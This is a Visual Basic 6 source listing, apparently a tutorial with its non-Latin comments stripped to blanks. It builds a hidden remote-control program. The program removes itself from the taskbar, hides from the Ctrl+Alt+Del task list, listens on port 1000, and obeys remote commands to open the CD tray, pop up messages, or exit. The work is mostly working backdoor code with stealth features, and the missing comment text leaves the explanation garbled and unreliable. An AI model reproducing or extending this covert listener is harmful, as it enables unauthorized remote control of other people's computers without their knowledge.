 -  .       Winsock Control    Visible = False,    Winsock1(  , ?),  .  :
 
// API :
//   
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As Any, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim Status As Integer

//    CTRL + ALT + DEL
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long

//     (  )
Const WS_EX_APPWINDOW = &H40000
Const GWL_STYLE = (-16)
Const GWL_EXSTYLE = (-20)
Const SW_HIDE = 0
Const SW_NORMAL = 1
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Const SWP_SHOWWINDOW = &H40
Const SWP_HIDEWINDOW = &H80
Dim ret&

Private Sub Form_Load()
//     (  )
ShowWindow Form1.hwnd, SW_HIDE
ret = GetWindowLong(Form1.hwnd, GWL_EXSTYLE)
SetWindowLong Form1.hwnd, GWL_EXSTYLE, ret Xor WS_EX_APPWINDOW
ShowWindow Form1.hwnd, SW_NORMAL

Timer1.Interval = 1000 '  
//    CTRL + ALT + DEL
RegisterServiceProcess GetCurrentProcessId, 1
End Sub

Private Sub Timer1_Timer()
Do ' 
DoEvents //     
If Winsock1.State <> sckConnected And Winsock1.State <> sckListening Then //    ,    , 
Winsock1.Close //  
Winsock1.LocalPort = 1000 //  
Winsock1.Listen //   
End If
Loop
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close //  (  )
Winsock1.Accept requestID //  
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) //    :
Dim Data As String
Winsock1.GetData Data //      
If Data = "CD" Then mciSendString "Set CDAudio Door Open Wait", 0&, 0, 0 //      "CD",   
//   
If Data <> "End" And Data <> "CD" Then MsgBox Data, 64, ""
If Data = "End" Then End
End Sub

Private Sub Form_Unload(Cancel As Integer)
RegisterServiceProcess GetCurrentProcessId, 0 //     CTRL + ALT + DEL
End Sub
        IP'            .
P.S.    ,       ,      .